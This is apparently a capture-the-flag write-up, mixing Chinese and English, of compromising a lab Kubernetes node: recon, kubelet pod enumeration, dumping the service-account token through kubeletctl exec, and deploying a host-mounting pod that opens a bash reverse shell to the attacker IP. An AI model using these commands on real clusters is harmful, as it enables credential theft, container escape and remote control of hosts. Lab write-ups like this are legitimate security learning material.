Before all Victim’s IP : 10.10.11.133 Attacker’s IP : 10.10.14.14
RECON Command
1 rustscan -a 10.10.11.133 --ulimit 5000 -- -sC -sV -Pn
Result
1 2 3 4 5 6 7 Open 10.10.11.133:22 Open 10.10.11.133:2379 Open 10.10.11.133:2380 Open 10.10.11.133:8443 Open 10.10.11.133:10249 Open 10.10.11.133:10250 Open 10.10.11.133:10256
從一些外放資訊及Google找 port 會發現是一組 kubernetes
Exploit 使用的兩個工具:https://github.com/kubernetes/kubectl https://github.com/cyberark/kubeletctl
pods enumeration 列出所有pod:Command
1 kubeletctl pods --server 10.10.11.133
Result
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ┌────────────────────────────────────────────────────────────────────────────────┐ │ Pods from Kubelet │ ├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤ │ │ POD │ NAMESPACE │ CONTAINERS │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 1 │ kube-proxy-fzqrl │ kube-system │ kube-proxy │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 2 │ storage-provisioner │ kube-system │ storage-provisioner │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 3 │ coredns-78fcd69978-7g7nh │ kube-system │ coredns │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 4 │ nginx │ default │ nginx │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 5 │ etcd-steamcloud │ kube-system │ etcd │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 6 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 7 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ │ │ │ │ │ ├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤ │ 8 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │ │ │ │ │ │ └───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
發現有 default 的 namespace,在這環境下是比較可能允許進行直接操作的 接下來利用 find 命令尋找可能 rce 的對象:
1 kubeletctl scan --server 10.10.11.133 rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐ │ Node with pods vulnerable to RCE │ ├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤ │ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ │ │ │ │ │ RUN │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 1 │ 10.10.11.133 │ etcd-steamcloud │ kube-system │ etcd │ - │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 2 │ │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ - │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 3 │ │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ - │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 4 │ │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │ - │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 5 │ │ kube-proxy-fzqrl │ kube-system │ kube-proxy │ + │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 6 │ │ storage-provisioner │ kube-system │ storage-provisioner │ - │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 7 │ │ coredns-78fcd69978-7g7nh │ kube-system │ coredns │ - │ ├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤ │ 8 │ │ nginx │ default │ nginx │ + │ └───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘
注意到剛剛的 nginx 真的是可以 RCE 的
credential dump 把 token 及憑證拿出來
1 2 kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --server 10.10.11.133 -p nginx -c nginx kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" --server 10.10.11.133 -p nginx -c nginx
其中 token 的內容我 export 成環境變數 $token
Command
1 kubectl auth can-i --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 --list
Result
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 Resources Non-Resource URLs Resource Names Verbs selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] pods [] [] [get create list] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] `
對 pods 有 [get create list] 的全權限
Mount to Host 接下來建立一個昕的 pod,把主機的跟目錄掛載上去並植入 reverse shell:exp.yaml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 apiVersion: v1 kind: Pod metadata: name: revshell spec: containers: - name: revshell image: nginx:1.14.2 command: ["bash" ] args: ["-c" , "bash -i >& /dev/tcp/10.10.14.14/9999 0>&1" ] ports: - containerPort: 80 volumeMounts: - name: host-root mountPath: /host-root volumes: - name: host-root hostPath: path: / type: Directory
最後用 kubectl 部署出去就好:Command
1 kubectl apply -f test1.yaml --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443